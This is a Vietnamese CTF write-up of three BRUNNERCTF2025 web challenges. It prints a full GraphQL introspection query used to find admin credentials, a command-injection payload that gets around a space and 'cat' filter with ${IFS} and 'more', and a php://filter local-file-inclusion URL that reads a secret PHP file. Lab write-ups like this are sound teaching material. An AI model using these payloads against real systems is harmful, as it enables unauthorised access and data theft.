Writeup Giải BRUNNERCTF2025
BRUNNERCTF2025
I.Brunner’s Bakery
Mô tả: Recent Graphs show that we need some more Quality of Life recipes! Can you go check if the bakery is hiding any?!
Khi truy cập thử thách ta được giao diện như trên, ngoài ra không có gì đặc biệt! Kiểm tra source code thấy một script để truy vấn dữ liệu thông qua GraphQL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
fetch('/graphql', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ query: 'query { publicRecipes { name description author { displayName } ingredients { name } } }' })
})
.then(res => res.json())
.then(data => {
const container = document.getElementById('recipes');
(data.data.publicRecipes || []).forEach(r => {
const div = document.createElement('div');
div.className = 'card';
div.innerHTML = '<div class="title">' + r.name + '</div>' +
'<div class="author">by ' + r.author.displayName + '</div>' +
'<div class="desc">' + r.description + '</div>' +
'<div style="font-size:0.8rem;color:#777;margin-top:0.5rem;">Ingredients: ' + r.ingredients.map(i => i.name).join(', ') + '</div>';
container.appendChild(div);
});
});
</script>
Quay trở lại Burpsuite ta thấy phần request và respone như bên dưới Khi tìm kiếm trong PayloadsAllTheThings1 thì mình kiếm được một payload khá là hữu ích để liệt kê toàn bộ lược đồ của cơ sở dữ liệu (Database Schema)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
Dùng trang web xuly để chuyển thành một chuỗi Json duy nhất để có thể gửi trong Burpsuite
Dùng dữ liệu trả về đưa vào trang web graph và tổng hợp lại ta nhận được một sơ đồ tổng thể sau đây
Nên xem chi tiết dữ liệu Json trả về, hình ảnh trên chỉ mang tính chất tham khảo
Thử truy cập vào phần Secret
thì ta nhận được phản hồi yêu cầu xác thực với quyền admin
Vậy bây giờ công việc là phải đi tìm được tài khoản và mật khẩu của admin để xác thực và đọc dữ liệu bí mật
Thử đi đọc tất cả các thông tin có thể đọc của author
thông qua publicRecipes
. Truy vấn và 1 Phần dữ liệu trả về có chứa username
và password
của admin: Bây giờ đăng nhập với tài khoản được cho để lấy token:
Lấy token nhận được truy cập lại phần
Secret
thì vẫn chưa nhận được flag Thử lại với query truy vấn toàn bộ thuộc tính của
Recipe
và nhận được flag
Flag: brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}
II. Baking Bad
Mô tả: This new kid on the block, Bake’n’berg, has taken over the market with some new dough that has 99.2% purity. Ours is not even 60%! Our bakers have been trying to come up with a new P2P-recipe trying all sorts of weird ingredients to raise the purity, but it’s so costly this way.Luckily, the developers at Brunnerne have come up with a bash -c ‘recipe’ that can simulate the baking process. This way we can test ingredients in a simulator to find ingredients that result in a higher purity - without wasting any ressources.
Thông qua mô tả của thử thách thì có thể đoán đây là một thử thách về Command Injection
Truy cập trang web thì ta nhận được một giao diện có form để nhận dữ liệu đầu vào - đây là nơi ta sẽ Injection
Thử nhập ls
thì không liệt kê đường dẫn mà trả ra giữ liệu như trên hình.
Thử với các kí tự dùng để nối lệnh như |
và &
thì đều bị phát hiện:
Tuy nhiên khi thử đến kí tự ;
thì nó thực sự hoạt động
Đọc file index.php
xem nó chặn những kí tự nào để từ đó dễ dàng lấy flag hơn. Nhưng đoạn code đã chặn cat
và kí tự space
nên mình đã dùng more
và ${IFS}
thay thế và nhận được kết quả:
Nhận thấy đoạn code chặn kí tự khoảng trắng nên việc đọc trực tiếp flag là điều bất khả thi nên mình đã nghĩ đến việc dùng nhiều lệnh nối nhau để lùi về thư mục gốc và đọc flag:
Payload: ;cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;more${IFS}flag.txt
Flag: brunner{d1d_1_f0rg37_70_b4n_s0m3_ch4rz?}
III. Brunsviger Huset
Mô tả: Welcome to “Brunsviger Huset” (House of Brunsviger), the oldest Danish bakery in town! Our bakers have been perfecting their craft for over 150 years, and our signature brunsviger is a favorite among locals and tourists alike. But, it seems like our bakery has a secret ingredient that’s not on the menu…Can you find the hidden flag that’s been baked into our website? Be warned, our bakers are notorious for their clever hiding spots!
Truy cập trang web ta được một trang web với chức năng bán các sản phầm về bánh mì, không có gì đặc biệt. Nhưng khi đọc thử source code của web nhận thấy một đoạn code đặc biệt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
function printCalendar() {
// Open the print URL in a new window (Note to self: Remember to add print.php to robots.txt!)
const printUrl = 'print.php?file=/var/www/html/bakery-calendar.php&start=2025-07&end=2025-09';
const printWindow = window.open(printUrl, '_blank', 'width=800,height=600,toolbar=no,menubar=no,scrollbars=yes');
// Wait for the page to load, then trigger print
if (printWindow) {
printWindow.onload = function() {
setTimeout(function() {
printWindow.print();
// Close the window after printing (optional)
setTimeout(function() {
printWindow.close();
}, 1000);
}, 1000);
};
}
}
</script>
Đoạn code này khả năng cao chứa lỗ hổng đọc file tùy ý File Inclusion
. Thử truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=/var/www/html/bakery-calendar.php&start=2025-07&end=2025-09
nhận được giao diện dưới đây:
Ngoài ra trong đoạn script trên có đoạn comment Open the print URL in a new window (Note to self: Remember to add print.php to robots.txt!)
có thể là gợi cho chúng ta. đọc thử file robots.txt
ta nhận được kết quả trả về như sau: User-agent: * Allow: /index.php Allow: /bakery-calendar.php Disallow: /print.php Disallow: /secrets.php
Thử truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=secrets.php
thì không nhận được gì cả Vì file trên là file
php
nên mình nhớ đến việc dùng php wrapper
Truy cập https://brunsviger-huset-269cf517a0f4cf2b.challs.brunnerne.xyz/print.php?file=php://filter/convert.base64-encode/resource=secrets.php
thì nhận được kết quả là một chuỗi mã hóa base64
:
PD9waHAKLy8gS2VlcCB0aGlzIGZpbGUgc2VjcmV0LCBpdCBjb250YWlucyBzZW5zaXRpdmUgaW5mb3JtYXRpb24uCiRmbGFnID0gImJydW5uZXJ7bDBjNGxfZjFsM18xbmNsdXMxMG5fMW5fdGgzX2I0azNyeX0iOwo/Pgo=
Đem giải mã đoạn code trên thì nhận được kết quả:
1
2
3
4
<?php
// Keep this file secret, it contains sensitive information.
$flag = "brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}";
?>
Flag: brunner{l0c4l_f1l3_1nclus10n_1n_th3_b4k3ry}
https://swisskyrepo.github.io/PayloadsAllTheThings/GraphQL%20Injection/#identify-an-injection-point ↩︎